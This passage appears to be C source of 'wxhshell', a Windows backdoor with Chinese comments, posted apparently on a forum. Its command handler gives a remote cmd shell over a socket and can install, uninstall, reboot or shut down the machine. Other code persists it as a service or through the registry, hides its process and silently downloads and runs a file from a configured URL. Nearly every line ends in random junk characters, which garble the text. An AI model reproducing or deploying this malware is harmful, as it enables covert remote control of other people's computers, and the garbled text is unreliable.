    switch(cmd[0]) { eY^zs0  
  -%P}LaC <  
  // 帮助 V m8dX?  
  case '?': { "oFi+']*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w`+-xT%  
    break; Hg8 4\fA  
  } bj 8pqw|;  
  // 安装 z7L+wNYwg  
  case 'i': { ?OoI6 3&  
    if(Install()) %H&WihQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =_g#I  
    else i ps)-1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p[At0Gc L  
    break; R+e)TR7+  
    } Dd/]?4  
  // 卸载 9n_Rk W5g  
  case 'r': { h05FR[</  
    if(Uninstall()) =ud~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %hZX XpuO  
    else Uam %u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3PL0bejaT7  
    break; }lhk;#r  
    } >=:mtcph  
  // 显示 wxhshell 所在路径 M6qNh`+HO  
  case 'p': { F1B/cd  
    char svExeFile[MAX_PATH]; Q*1'k%7  
    strcpy(svExeFile,"\n\r"); @p^EXc*|  
      strcat(svExeFile,ExeFile); q _K@KB  
        send(wsh,svExeFile,strlen(svExeFile),0); QJiH^KY6  
    break; x5pu+-h  
    } `'3 De(  
  // 重启 c(FGW7L<  
  case 'b': { -r_\=<(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :"Tkl$@,  
    if(Boot(REBOOT)) 89{;R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uR.pQo07y<  
    else { V lO^0r^z  
    closesocket(wsh); FV aC8Kw  
    ExitThread(0); QHUFS{G ]  
    } 'NfsAE  
    break; 6-/W4L)?>  
    } F`(;@LO  
  // 关机 "cly99t  
  case 'd': { ZF#n(Y?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'Z9UqEGV  
    if(Boot(SHUTDOWN)) a MFUj+^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tQUKw@@Q  
    else { upZc~k!1\  
    closesocket(wsh); @icw:68  
    ExitThread(0); mJ5%+.V  
    } V6((5o#  
    break; I!u=.[5zdC  
    } &0|Z FXPd  
  // 获取shell OK`^DIr5l  
  case 's': { PvjZoF["  
    CmdShell(wsh); `U\l: ~]e  
    closesocket(wsh); T3"'`Sd9;  
    ExitThread(0);  Z,O-P9jC  
    break; wTZ(vX*mK  
  } %Ny1H/@Q1+  
  // 退出 H_x} -  
  case 'x': { V:P]Ved  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |S@  
    CloseIt(wsh); #8M^;4N >[  
    break; Z(R0IW  
    } _nxu8g]  
  // 离开 C0Fd<|[  
  case 'q': { ?2,D-3 {  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0o6o<ggi  
    closesocket(wsh); Jc]66   
    WSACleanup(); LN<rBF[_:f  
    exit(1); *kTp(*K/7`  
    break; ]>k8v6*=  
        } o]qwN:8^  
  } ~dLbhjde n  
  } '|5o(6u'  
y x#ub-A8  
  // 提示信息 ev+H{5W8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h?B1Emlq  
} l. l)w  
  } EowzEGq!a5  
_!Tjb^  
  return; <Uf`'X\e6  
} Cd]A1<6s  
|F<iu2\  
// shell模块句柄 mSZg;7DE3*  
int CmdShell(SOCKET sock) <u0}&/  
{ ?vI2mr a+  
STARTUPINFO si; o~"Y_dLsW  
ZeroMemory(&si,sizeof(si)); 5_L,7\5#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vZ$E [EG}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VGxab;#,:3  
PROCESS_INFORMATION ProcessInfo; sN?Rx}  
char cmdline[]="cmd"; ?YV#  K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `T7TWv"M  
  return 0; W _Hoa*~  
} 7w8UnPuM  
98?O[=  
// 自身启动模式 =ePX^J*M'  
int StartFromService(void) N1.1  
{ Lz-|M?(  
typedef struct !hS)W7!ik  
{ OU#p^ 5K  
  DWORD ExitStatus; 94t`&jZ&|u  
  DWORD PebBaseAddress; 5=<KA   
  DWORD AffinityMask; zOFHdd ,"g  
  DWORD BasePriority; n|DMj[uT  
  ULONG UniqueProcessId; T9]0/>  
  ULONG InheritedFromUniqueProcessId; x FM^-`7  
}   PROCESS_BASIC_INFORMATION; GJ2ZK=/  
/'_<~A  
PROCNTQSIP NtQueryInformationProcess; (pP.*`JRv  
_JTK$ \  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (aSuxl.Dq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c$BH`" <*  
HJym|G>%?  
  HANDLE             hProcess; BtKor6ba  
  PROCESS_BASIC_INFORMATION pbi; Hy,""Py  
h7TkMt[l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +Ig%h[1a  
  if(NULL == hInst ) return 0; ZUS5z+o  
@V5i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @H~oOf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `"yxmo*0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9^?muP<A  
5/h-H r  
  if (!NtQueryInformationProcess) return 0; T{`VUS/  
j;z7T;!i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yJ0 %6],^g  
  if(!hProcess) return 0; B)L0hi  
'r\RN\PT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I^u~r.  
Kr1Y3[iNv  
  CloseHandle(hProcess); 9rT^rTV  
-{9mctt/gE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;bg]H >$U7  
if(hProcess==NULL) return 0; Sf.OBU1rs  
"Y^ 9g/  
HMODULE hMod; %l a1-r~  
char procName[255]; ]o0]i<:  
unsigned long cbNeeded; WvfM.D!  
g"kI1^[nj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3tJfh=r=1  
!~R<Il|B  
  CloseHandle(hProcess); !.t D.(XP  
74:~F)BP  
if(strstr(procName,"services")) return 1; // 以服务启动 rKFnivGT  
3"v>y]$U  
  return 0; // 注册表启动 ']I!1>v$[  
} o~\.jQQxa  
_-543B}  
// 主模块 p[].4_B;  
int StartWxhshell(LPSTR lpCmdLine) }mIN)o  
{ &IzNoB  
  SOCKET wsl; w3sU&  |N  
BOOL val=TRUE; aBG^Xhx  
  int port=0; *x]*%  
  struct sockaddr_in door; ~x<?Pj  
"M /Cl|z  
  if(wscfg.ws_autoins) Install(); n=F rv*"Z  
2fu<s^9dh  
port=atoi(lpCmdLine); 1y wdcg  
19y,O0# _  
if(port<=0) port=wscfg.ws_port; 3#dz6+  
;fW~Gb?"  
  WSADATA data; yTK3eK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cqJXZ.X C  
Aaq%'07ihW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I=<Qpd4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |3T2}ohrr  
  door.sin_family = AF_INET; X;UEq]kcmn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G/(,,T}eG  
  door.sin_port = htons(port); } eHxw+.  
o 7tUv"Rs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <rK[&JlJ  
closesocket(wsl); 4'*.3f'bp  
return 1; _xm<zy{`S  
} Do\j_  
.Tq8Qdl  
  if(listen(wsl,2) == INVALID_SOCKET) { MusUgBQy  
closesocket(wsl); kV T |(Y  
return 1; Sa[lYMuB  
} y?O-h1"3,  
  Wxhshell(wsl); DbFe;3  
  WSACleanup(); 6jgP/~hP>N  
"9QZX[J|*  
return 0; \~+b&  
8OV =;aM?{  
} G6W|l2P!  
PLz+%L;{  
// 以NT服务方式启动 K\fD';  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y%0rji  
{ z[<Na3]  
DWORD   status = 0; Bt,'g* Cs  
  DWORD   specificError = 0xfffffff; :):vB  
,]:< l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a:UkVK]MP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r4K9W9 0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g}R Cjl4  
  serviceStatus.dwWin32ExitCode     = 0; hE`d@  
  serviceStatus.dwServiceSpecificExitCode = 0; x7<l*WQ  
  serviceStatus.dwCheckPoint       = 0; \zFCph4  
  serviceStatus.dwWaitHint       = 0; c*E7nc)u  
\mJR^t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~1}fL 1~5  
  if (hServiceStatusHandle==0) return; j$/#2%OVN  
$t}W,?   
status = GetLastError(); $|J+  
  if (status!=NO_ERROR) HK<S|6B7V  
{ o -)[{o\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %$Py@g  
    serviceStatus.dwCheckPoint       = 0; B; NK\5>  
    serviceStatus.dwWaitHint       = 0; +}?%w|8||s  
    serviceStatus.dwWin32ExitCode     = status; Al8Dw)uG{  
    serviceStatus.dwServiceSpecificExitCode = specificError; $ ~%Y}Xt*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F {L#  
    return; ocK4Nxs  
  } ]S@T|08b  
-=8f*K[W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \ctzv``/n  
  serviceStatus.dwCheckPoint       = 0; $!9/s S?  
  serviceStatus.dwWaitHint       = 0; Z]TQ+9t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y%eW6Y#  
} ':_gYA  
X o9vE3  
// 处理NT服务事件,比如:启动、停止 _RxnB?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fS|e{!iI"  
{ dJnKa]X  
switch(fdwControl) ~aQR_S  
{ C6a-  
case SERVICE_CONTROL_STOP: 85[ 7lO)[  
  serviceStatus.dwWin32ExitCode = 0; ~Y*.cGA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 047PlS  
  serviceStatus.dwCheckPoint   = 0; hrzxc4,W  
  serviceStatus.dwWaitHint     = 0; >yT1oD0+x  
  { !A% vR\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CVkJMH_  
  } Z`GEF|eh  
  return; bf2n%-&9g  
case SERVICE_CONTROL_PAUSE: n7Eh!<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BxlhCu  
  break; PHI c7*_  
case SERVICE_CONTROL_CONTINUE: *?uUP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;'V[8`Z@  
  break; -#/DK   
case SERVICE_CONTROL_INTERROGATE: 8?kB+}@6X  
  break; 1pDU}rPJ.  
}; N2[jBy8M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bDh4p]lm  
} <kwF<J  
t5K#nRd Z:  
// 标准应用程序主函数 _:tS-Mx@5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Bd=K40Z:  
{ (,+#H]L  
md18q:AG)  
// 获取操作系统版本 +N+117m  
OsIsNt=GetOsVer(); mr#.uhd.z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Fec4#}|  
^z, B}Nz  
  // 从命令行安装 S["r @<  
  if(strpbrk(lpCmdLine,"iI")) Install(); ip{ b*@K  
XfMUodV-OZ  
  // 下载执行文件 AU%Yr 6  
if(wscfg.ws_downexe) { p= x &X~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !J<0.nO/:  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4[;}/-  
} b 1Wz  
[] "bn9 +  
if(!OsIsNt) { T8&sPt,f  
// 如果时win9x,隐藏进程并且设置为注册表启动 u R5h0Fi  
HideProc(); `}sFT:1&  
StartWxhshell(lpCmdLine); rZ-< Ryg  
} q^wSM  
else Hi~)C\  
  if(StartFromService()) G^K;+&T  
  // 以服务方式启动 4K`b?{){+a  
  StartServiceCtrlDispatcher(DispatchTable); 3y2L! &'z  
else _<c}iZv@  
  // 普通方式启动 .:Wp9M  
  StartWxhshell(lpCmdLine); `<<9A\Y-f  
b|kL*{;  
return 0; Rb:?%\=  
}
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只看该作者 1 发表于: 2006-10-10
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